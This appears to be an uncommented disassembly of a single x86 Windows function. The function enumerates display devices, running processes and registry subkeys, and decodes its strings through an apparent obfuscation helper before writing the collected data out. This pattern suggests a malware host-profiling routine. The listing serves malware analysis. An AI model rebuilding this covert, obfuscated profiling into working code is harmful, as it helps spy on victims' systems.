mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x744]
push 0x1a4
push 0
push eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x748], 0x1a8
call fcn.004d1ee0
add esp, 0xc
lea eax, [ebp - 0x748]
push 1
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x40dfbd
nop dword [eax + eax]
mov esi, dword [ebp - 0xbc]
xor ecx, ecx
mov edi, dword [ebp - 0xc0]
mov eax, 0x2aaaaaab
mov dword [ebp - 0x2c], ecx
mov ecx, esi
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x40de3c
xor edi, edi
jmp 0x40dd43
mov edi, dword [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 0x724]
mov dword [ebp - 0x30], 0
movups xmmword [ebp - 0x44], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40dd61
sub ecx, edx
lea eax, [ebp - 0x724]
push ecx
push eax
lea ecx, [ebp - 0x44]
call fcn.00402aa0
mov byte [ebp - 4], 0x17
lea edx, [ebp - 0x44]
mov ecx, dword [ebp - 0xc0]
add ecx, edi
cmp dword [ebp - 0x30], 0x10
cmovae edx, dword [ebp - 0x44]
cmp dword [ecx + 0x14], 0x10
mov esi, dword [ecx + 0x10]
jb 0x40dd9c
mov ecx, dword [ecx]
cmp esi, dword [ebp - 0x34]
jne 0x40ddef
sub esi, 4
jb 0x40ddb7
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x40ddbc
add ecx, 4
add edx, 4
sub esi, 4
jae 0x40dda6
cmp esi, 0xfffffffc
je 0x40dde9
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x40ddef
cmp esi, 0xfffffffd
je 0x40dde9
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x40ddef
cmp esi, 0xfffffffe
je 0x40dde9
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x40ddef
cmp esi, 0xffffffff
je 0x40dde9
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x40ddef
mov byte [ebp - 0x25], 1
jmp 0x40ddf3
mov byte [ebp - 0x25], 0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x44]
call fcn.00402890
cmp byte [ebp - 0x25], 0
jne 0x40df76
mov esi, dword [ebp - 0xbc]
add edi, 0x18
inc dword [ebp - 0x2c]
mov ecx, esi
mov dword [ebp - 0x54], edi
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0xc0]
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x2c], eax
jb 0x40dd40
movaps xmm0, xmmword [0x526d70]
sub esi, edi
mov eax, 0x2aaaaaab
mov word [ebp - 0x5b], 0x4039
imul esi
movups xmmword [ebp - 0x6b], xmm0
mov byte [ebp - 0x59], 0
sar edx, 2
mov esi, edx
shr esi, 0x1f
add esi, edx
xor ecx, ecx
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x6b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x6b], al
inc ecx
cmp ecx, 0x12
jb 0x40de70
mov edi, dword [ebp - 0xb0]
lea eax, [ebp - 0x724]
push eax
push esi
lea eax, [ebp - 0x6b]
push eax
push edi
call fcn.00402d70
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 0x724]
mov dword [ebp - 0x10], 0
add esp, 0x10
lea edx, [ecx + 1]
movups xmmword [ebp - 0x24], xmm0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40dec0
sub ecx, edx
lea eax, [ebp - 0x724]
push ecx
push eax
lea ecx, [ebp - 0x24]
call fcn.00402aa0
mov byte [ebp - 4], 0x18
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0xb8]
je 0x40df18
movups xmm0, xmmword [ebp - 0x24]
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x14]
movq qword [eax + 0x10], xmm0
mov eax, 0xf
mov dword [ebp - 0x10], eax
add dword [ebp - 0xbc], 0x18
mov dword [ebp - 0x14], 0
mov byte [ebp - 0x24], 0
jmp 0x40df2b
lea ecx, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.0046c6b0
mov eax, dword [ebp - 0x10]
mov byte [ebp - 4], 0x16
cmp eax, 0x10
jb 0x40df62
mov edx, dword [ebp - 0x24]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x40df58
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40e4ce
push ecx
push edx
call fcn.004b9cb1
add esp, 8
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
jmp 0x40df7c
mov edi, dword [ebp - 0xb0]
mov esi, dword [ebp - 0x48]
lea eax, [ebp - 0x744]
push 0x1a4
push 0
inc esi
mov dword [ebp - 0x748], 0x1a8
push eax
mov dword [ebp - 0x48], esi
call fcn.004d1ee0
add esp, 0xc
lea eax, [ebp - 0x748]
push 1
push eax
push esi
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
jne 0x40dd10
mov dword [ebp - 0x1a], 0x381a1140
xor ecx, ecx
mov dword [ebp - 0x16], 0x392f2925
mov dword [ebp - 0x12], 0x17392f39
mov word [ebp - 0xe], 0x40
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 0xd
jb 0x40dfe0
lea eax, [ebp - 0x1a]
push eax
push edi
call fcn.00402d70
add esp, 8
mov dword [ebp - 0x4d0], 0x128
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40e0ac
lea eax, [ebp - 0x4d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40e0a5
lea eax, [ebp - 0x4d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x40e0a5
nop dword [eax]
nop dword [eax + eax]
mov dword [ebp - 0x58], 0x116a396f
xor ecx, ecx
mov dword [ebp - 0x54], 0x40172e6f
mov byte [ebp - 0x50], 0
movzx eax, byte [ebp + ecx - 0x58]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x58], al
inc ecx
cmp ecx, 8
jb 0x40e064
push dword [ebp - 0x4c8]
lea eax, [ebp - 0x4ac]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
call fcn.00402d70
add esp, 0x10
lea eax, [ebp - 0x4d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x40e050
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x19], 0x25191140
xor ecx, ecx
mov dword [ebp - 0x15], 0x2b3d3e2c
mov dword [ebp - 0x11], 0x40172f38
mov byte [ebp - 0xd], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 0xc
jb 0x40e0d0
lea eax, [ebp - 0x19]
push eax
push edi
call fcn.00402d70
movaps xmm0, xmmword [0x5263f0]
add esp, 8
movups xmmword [ebp - 0xac], xmm0
xor ecx, ecx
mov dword [ebp - 0x7c], 0x26262b
movaps xmm0, xmmword [0x526780]
movups xmmword [ebp - 0x9c], xmm0
movaps xmm0, xmmword [0x526be0]
movups xmmword [ebp - 0x8c], xmm0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xac]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xac], al
inc ecx
cmp ecx, 0x33
jb 0x40e130
lea eax, [ebp - 0xcc]
mov dword [ebp - 0xcc], 0
push eax
push 0x20019
push 0
lea eax, [ebp - 0xac]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e351
xor esi, esi
nop
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x400
push eax
lea eax, [ebp - 0x9a0]
push eax
push esi
push dword [ebp - 0xcc]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x78], eax
test eax, eax
jne 0x40e33c
mov dword [ebp - 0x48], eax
xor ecx, ecx
mov dword [ebp - 0x55], 0x6f16396f
mov word [ebp - 0x51], 0x39
movzx eax, byte [ebp + ecx - 0x55]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x55], al
inc ecx
cmp ecx, 5
jb 0x40e1c4
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0x55]
push eax
lea eax, [ebp - 0x16ac]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x48]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x16ac]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e339
mov dword [ebp - 0xb0], 0xf003f
xor ecx, ecx
mov dword [ebp - 0x2c], 0x400
mov dword [ebp - 0x18], 0x3a39230e
mov dword [ebp - 0x14], 0x4332b26
mov dword [ebp - 0x10], 0x2f272b
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 0xb
jb 0x40e250
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1eac]
push eax
lea eax, [ebp - 0xb0]
push eax
push 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e330
mov dword [ebp - 0x67], 0x3a39230e
xor ecx, ecx
mov dword [ebp - 0x63], 0x1c332b26
mov dword [ebp - 0x5f], 0x2339382f
mov word [ebp - 0x5b], 0x2425
mov byte [ebp - 0x59], al
nop
movzx eax, byte [ebp + ecx - 0x67]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x67], al
inc ecx
cmp ecx, 0xe
jb 0x40e2b0
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1aac]
push eax
lea eax, [ebp - 0xb0]
push eax
push 0
lea eax, [ebp - 0x67]
push eax
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e330
mov dword [ebp - 0x35], 0x116a396f
xor ecx, ecx
mov dword [ebp - 0x31], 0x4017396f
mov byte [ebp - 0x2d], al
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x35]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 8
jb 0x40e300
lea eax, [ebp - 0x1aac]
push eax
lea eax, [ebp - 0x1eac]
push eax
lea eax, [ebp - 0x35]
push eax
push edi
call fcn.00402d70
add esp, 0x10
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x78]
inc esi
test eax, eax
je 0x40e180
push dword [ebp - 0xcc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.004d95d8
add esp, 4
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xc0]
call fcn.004612b0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x160]
call fcn.00402890
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xec]
call fcn.00402890
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x104]
call fcn.00402890
sub esp, 0x18
mov byte [ebp - 0x25], 1
mov dword [ebp - 0xb4], esp
lea eax, [ebp - 0x148]
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xd4], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x19
mov byte [ebp - 4], 4
mov ecx, esi
call fcn.0040b4c0
add esp, 0x18
mov byte [ebp - 4], 0x1a
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x178]
mov dl, byte [ebp - 0x25]
call fcn.0040ca30
add esp, 0x18
mov byte [ebp - 4], 0x1b
xor ecx, ecx
mov word [ebp - 0x4b], 0x283d
mov byte [ebp - 0x49], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x4b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x4b], al
inc ecx
cmp ecx, 2
jb 0x40e400
cmp dword [ebp - 0x134], 0x10
lea ecx, [ebp - 0x4b]
lea eax, [ebp - 0x148]
cmovae eax, dword [ebp - 0x148]
push ecx
push eax
call fcn.004d5d50
mov esi, eax
add esp, 8
test esi, esi
je 0x40e468
cmp dword [ebp - 0x164], 0x10
lea ecx, [ebp - 0x178]
push esi
push dword [ebp - 0x168]
cmovae ecx, dword [ebp - 0x178]
push 1
push ecx
call fcn.004ddb58
push esi
call fcn.004d95d8
add esp, 0x14
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x178]
call fcn.00402890
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x148]
call fcn.00402890
mov byte [ebp - 4], 2
lea ecx, [ebp + 8]
call fcn.00402890
mov byte [ebp - 4], 1
lea ecx, [ebp + 0x20]
call fcn.00402890
mov byte [ebp - 4], 0
lea ecx, [ebp + 0x38]
call fcn.00402890
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x50]
call fcn.00402890
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00402210
call fcn.004d51a0
int3